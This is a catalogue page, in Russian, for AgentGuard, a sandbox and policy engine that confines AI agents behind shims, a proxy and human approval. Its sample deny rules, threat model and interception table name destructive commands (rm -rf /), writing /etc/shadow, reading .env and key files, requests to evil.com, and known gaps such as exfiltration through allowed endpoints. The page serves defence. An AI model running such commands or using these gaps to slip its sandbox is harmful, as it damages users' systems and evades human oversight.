Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
AgentGuard — Песочница с нулевым доверием для AI-агентов, включающая изоляцию файловой системы на уровне ядра, прозрачный сетевой прокси и движок политик на основе YAML для перехвата и контроля команд оболочки, файловых операций и сетевых запросов. | Kitploit
Инструменты/GitHubGitHub/thodoristsampouris/agentguard
Оборонительные ИнструментыБезопасность контейнеровВиртуализация для безопасностиСетевая безопасностьБезопасность ИИ
GitHubthodoristsampouris/agentguard

AgentGuard

Песочница с нулевым доверием для AI-агентов, включающая изоляцию файловой системы на уровне ядра, прозрачный сетевой прокси и движок политик на основе YAML для перехвата и контроля команд оболочки, файловых операций и сетевых запросов.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Репозиторий
895 месяцев назадЕщё не проверено
Поделиться

AgentGuard

Песочница с нулевым доверием для автономных AI-агентов.

AgentGuard оборачивает любого AI-агента (LangChain, CrewAI, AutoGen, пользовательские скрипты) в защитные ограничения. Изменение одной команды:

root@kitploit:~
# До (опасно — агент имеет полный доступ к системе)
python my_agent.py

# После (в песочнице)
agentguard run -- python my_agent.py

AgentGuard перехватывает каждую команду оболочки, изменение файла и сетевой запрос, которые совершает агент. Безопасные действия автоматически разрешаются, опасные — автоматически блокируются, а всё остальное запрашивает одобрение человека.

Как это работает

AgentGuard имеет четыре уровня защиты, работающих вместе:

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│ Уровень 0: Файловая изоляция (sandbox-exec на macOS)        │
│   Принудительное выполнение на уровне ядра. Ограничивает    │
│   запись файлов и сеть на уровне системных вызовов. Агент   │
│   не может обойти из пользовательского пространства.        │
│   Блокирует Python open(), requests.post() и т.д.           │
├─────────────────────────────────────────────────────────────┤
│ Уровень 1: Сетевой прокси                                   │
│   Прозрачный HTTP/HTTPS-прокси. Каждый сетевой вызов агента │
│   проверяется на соответствие политике. Разрешение/запрет   │
│   для каждого назначения с полной видимостью в TUI.         │
├─────────────────────────────────────────────────────────────┤
│ Уровень 2: PATH-заглушки (Shims)                            │
│   Скрипты-заглушки, перехватывающие команды типа git,       │
│   pip, curl, rm. Каждая заглушка запрашивает разрешение     │
│   у демона перед запуском реального бинарника.              │
├─────────────────────────────────────────────────────────────┤
│ Уровень 3: Механизм политик + Демон одобрения               │
│   Правила на основе YAML оценивают каждое перехваченное     │
│   действие. Автоматически разрешают безопасные команды,     │
│   автоматически блокируют опасные, а всё остальное          │
│   запрашивает у человека.                                   │
└─────────────────────────────────────────────────────────────┘

Ни один уровень не является единственной границей безопасности. Они работают вместе — защита в глубину.

Быстрый старт

Сборка

root@kitploit:~
go build -o agentguard ./cmd/agentguard/
go build -o agentguard-check ./cmd/agentguard-check/

Оба бинарника должны находиться в одном каталоге.

Создание политики

root@kitploit:~
agentguard init

Это создаёт файл .agentguard/policy.yaml в текущем каталоге. Отредактируйте его под свои нужды.

Запуск агента (интерактивный TUI)

root@kitploit:~
agentguard run -- python my_agent.py

TUI перехватывает управление терминалом и показывает:

  • Поток событий в реальном времени (каждое перехваченное действие)
  • Запросы на одобрение для неоднозначных команд (нажмите Y/N/A/B)
  • События разрешения/запрета сети от прокси
  • События нарушения изоляции
  • stdout/stderr агента (переключение по Tab)

Запуск агента (без головы)

Для интерактивных инструментов, таких как Claude Code, которым нужен терминал:

root@kitploit:~
agentguard run --headless -- claude

Агент получает терминал напрямую. AgentGuard работает в фоне без вывода. Все события записываются в ~/.agentguard/logs/headless.log. Следите в другом терминале:

root@kitploit:~
tail -f ~/.agentguard/logs/headless.log

Справка по CLI

root@kitploit:~
agentguard run [flags] -- <команда> [аргументы...]
    --policy <путь>       Использовать определённый файл политики
    --headless            Без TUI — агент получает терминал
    --default-allow       Автоматически разрешать решения PROMPT в безголовом режиме (по умолчанию: auto-deny)
    --no-sandbox          Отключить sandbox-exec (заглушки и прокси остаются активными)

agentguard init           Создать файл политики по умолчанию
agentguard version        Показать версию

Файл политики

Политики — это YAML-файлы, определяющие, что агенту разрешено, а что запрещено. AgentGuard проверяет три расположения (по порядку):

  1. ./.agentguard/policy.yaml (локальный для проекта)
  2. ~/.agentguard/policy.yaml (глобальный для пользователя)
  3. Встроенные значения по умолчанию

Пример политики

root@kitploit:~
version: 1

deny:
  # Блокировать опасные команды
  - command: "rm"
    args: "-rf *"
    reason: "Рекурсивное принудительное удаление слишком опасно"
  - command: "sudo"
    args: "*"
    reason: "Повышение привилегий не разрешено"
  - command: "chmod"
    args: "777 *"
    reason: "Права доступа для всех пользователей опасны"

  # Блокировать чтение конфиденциальных файлов (принудительно через sandbox-exec)
  - file:
      path: "*.env"
      action: "read"
      reason: "Не позволяйте агенту читать .env файлы"
  - file:
      path: "*.pem"
      action: "read"
      reason: "Не позволяйте агенту читать закрытые ключи"

allow:
  # Безопасные команды только для чтения
  - command: "ls"
  - command: "cat"
  - command: "pwd"
  - command: "echo"
  - command: "grep"
  - command: "head"
  - command: "tail"
  - command: "wc"

  # Git только для чтения
  - command: "git"
    args: "status"
  - command: "git"
    args: "log *"
  - command: "git"
    args: "diff *"

  # Разрешить запись в рабочую область
  - file:
      path: "/tmp/workspace/**"
      action: "write"

  # Разрешить определённые API-эндпоинты
  - network:
      destination: "api.anthropic.com:443"
  - network:
      destination: "api.github.com:443"

Порядок оценки правил

  1. Конкретные правила запрета — проверяются первыми. Если совпало, действие сразу блокируется.
  2. Правила разрешения — проверяются вторыми. Если совпало, действие разрешается.
  3. Правила общего запрета (например, deny network *) — проверяются третьими. Действуют как запрет по умолчанию.
  4. Нет совпадения — человеку выдаётся запрос (TUI) или автоматический запрет (без головы).

Типы правил

Правила команд — сопоставляют команды оболочки по имени и шаблону аргументов:

root@kitploit:~
- command: "git"
  args: "push *"
  reason: "Отправка требует одобрения"

Правила файлов — сопоставляют операции с файлами (принудительно через sandbox-exec):

root@kitploit:~
- file:
    path: "*.env"
    action: "read"     # "read" или "write"
    reason: "Защитить секреты"

Правила сети — сопоставляют сетевые назначения (принудительно через прокси + sandbox-exec):

root@kitploit:~
- network:
    destination: "api.anthropic.com:443"

Используйте * как подстановочный знак в аргументах команд, путях файлов и сетевых назначениях.

Управление TUI

Что перехватывает каждый уровень

Архитектура

root@kitploit:~
agentguard/
├── cmd/
│   ├── agentguard/              # Основной бинарник CLI
│   └── agentguard-check/        # Вспомогательный бинарник заглушек
├── internal/
│   ├── policy/                  # Механизм политик (YAML разбор, оценка правил)
│   ├── events/                  # Система событий (JSONL аудит-лог, pub/sub)
│   ├── daemon/                  # Центральный демон (Unix socket, очередь одобрения)
│   │   └── client/              # Клиентская библиотека для заглушек
│   ├── shim/                    # Генератор заглушек (перехват через PATH)
│   ├── proxy/                   # Прозрачный сетевой прокси
│   ├── spawner/                 # Оркестрация + интеграция с macOS sandbox
│   └── ui/tui/                  # Терминальный интерфейс (Bubble Tea)
├── configs/
│   └── default_policy.yaml      # Эталонный файл политики
├── .gitignore
├── go.mod
├── LICENSE
└── README.md

Обзор компонентов

Журнал аудита

Каждое перехваченное действие записывается в ~/.agentguard/logs/YYYY-MM-DD.jsonl:

root@kitploit:~
{"id":"a1b2c3","timestamp":"2026-03-22T14:30:00Z","session_id":"abc123","source":"shim","command":"git","args":["push","origin","main"],"decision":"deny","decided_by":"human","response_time_ms":3200}
{"id":"d4e5f6","timestamp":"2026-03-22T14:30:01Z","session_id":"abc123","source":"proxy","network_dst":"api.anthropic.com:443","decision":"allow","decided_by":"policy"}

Запрашивайте стандартными инструментами:

root@kitploit:~
# Все запрещённые действия сегодня
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decision == "deny")'

# Все сетевые запросы
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.source == "proxy")'

# Команды, потребовавшие одобрения человека
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decided_by == "human")'

Поддержка платформ

Модель безопасности

Модель угроз: Агент не заслуживает доверия. Он может пытаться:

  • Выполнять опасные команды (rm -rf /, sudo)
  • Извлекать данные через сетевые вызовы
  • Читать конфиденциальные файлы (.env, закрытые ключи)
  • Обходить песочницу через абсолютные пути, нативные API или манипуляции с окружением

Что предотвращает AgentGuard:

  • Команды оболочки перехватываются заглушками и оцениваются политикой
  • Сетевые вызовы направляются через прокси и фильтруются по назначению
  • Запись файлов ограничивается sandbox-exec только разрешёнными каталогами
  • Чтение файлов может быть запрещено для определённых шаблонов (.env, .pem и т.д.)
  • Манипуляции с сессией через сокет демона блокируются
  • Инъекция команд оболочки в скрипты заглушек предотвращается проверкой ввода
  • ANSI-инъекция в TUI удаляется
  • Обход путей в файловых правилах предотвращается функцией filepath.Clean

Чего AgentGuard НЕ предотвращает (известные ограничения):

  • Прямые системные вызовы через ctypes/cffi (sandbox-exec также блокирует их на macOS)
  • Эксплойты ядра (требует root, та же граница доверия, что и любое приложение)
  • Извлечение данных через разрешённые сетевые назначения (если вы разрешили api.anthropic.com, агент может отправлять туда данные)
  • Чтение файлов, не входящих в список запрета (мы разрешаем все чтения, кроме явно запрещённых шаблонов)

Разработка

Запуск тестов

root@kitploit:~
go test ./... -race

Покрытие тестами

Проект содержит более 140 тестов, охватывающих:

  • Оценка политик (сопоставление glob, объединение правил, предотвращение обхода путей)
  • Логирование событий (формат JSONL, ежедневная ротация, конкурентная запись, pub/sub)
  • Демон (взаимодействие через сокет, очередь одобрения, управление сессиями, тайм-ауты)
  • TUI (обработка клавиатуры, отображение событий, очистка ANSI)
  • Генерация заглушек (предотвращение инъекций, проверка путей)
  • Сетевой прокси (разрешение/запрет, логирование событий)
  • Интеграционные тесты (полный сквозной поток)
  • Песочница macOS (генерация профилей, выполнение реального sandbox-exec)

Теги сборки

  • jail_darwin.go — macOS sandbox-exec (компилируется только на macOS)
  • jail_noop.go — резервный режим только с заглушками (компилируется на Linux/Windows)
  • sandbox_monitor_darwin.go — отслеживание системного журнала macOS для нарушений песочницы
  • sandbox_monitor_noop.go — заглушка на платформах, отличных от macOS

Лицензия

См. LICENSE.

Скачать инструмент
КлавишаДействиеКогда
YРазрешить ожидающий запросВиден запрос на одобрение
NЗапретить ожидающий запросВиден запрос на одобрение
AРазрешить и запомнить на эту сессию ("Всегда разрешать")Виден запрос на одобрение
BЗапретить и запомнить на эту сессию ("Блокировать навсегда")Виден запрос на одобрение
TabПереключить панель stdout/stderr агентаВсегда
Вверх/ВнизПрокрутка потока событийВсегда
QВыйти (завершает агента)Всегда
Действие агентаЗаглушкиПроксиsandbox-exec
subprocess.run(["rm", "-rf", "/"])Да--
subprocess.run(["git", "push"])Да--
requests.post("https://evil.com")-ДаДа
urllib.request.urlopen("https://api.com")-ДаДа
open(".env", "r")--Да
open("/etc/shadow", "w")--Да
/usr/bin/curl https://evil.com (абсолютный путь)-ДаДа
КомпонентПакетНазначение
Механизм политикinternal/policyРазбирает YAML-правила, оценивает запросы → ALLOW / DENY / PROMPT
Система событийinternal/eventsАудит-лог только для добавления в JSONL + pub/sub в реальном времени для TUI
Демонinternal/daemonUnix socket-сервер, очередь одобрения с тайм-аутами, управление сессиями
TUIinternal/ui/tuiТерминальный интерфейс Bubble Tea с потоком событий и модальным окном одобрения
Генератор заглушекinternal/shimГенерирует скрипты-заглушки, определяет пути реальных бинарников
Сетевой проксиinternal/proxyПрозрачный HTTP/HTTPS-прокси с применением политики для каждого назначения
Оркестраторinternal/spawnerКоординирует всё: политика → демон → заглушки → прокси → sandbox → агент → TUI
Песочница macOSinternal/spawner/jail_darwin.gosandbox-exec с профилями Seatbelt для принудительного выполнения на уровне ядра
ПлатформаЗаглушкиПроксиsandbox-execЗапрет чтения файлов
macOS (Apple Silicon)ДаДаДаДа
macOS (Intel)ДаДаДаДа
LinuxДаДаНет (в будущем: namespaces + seccomp)Нет
WindowsДаДаНет (в будущем: Job Objects)Нет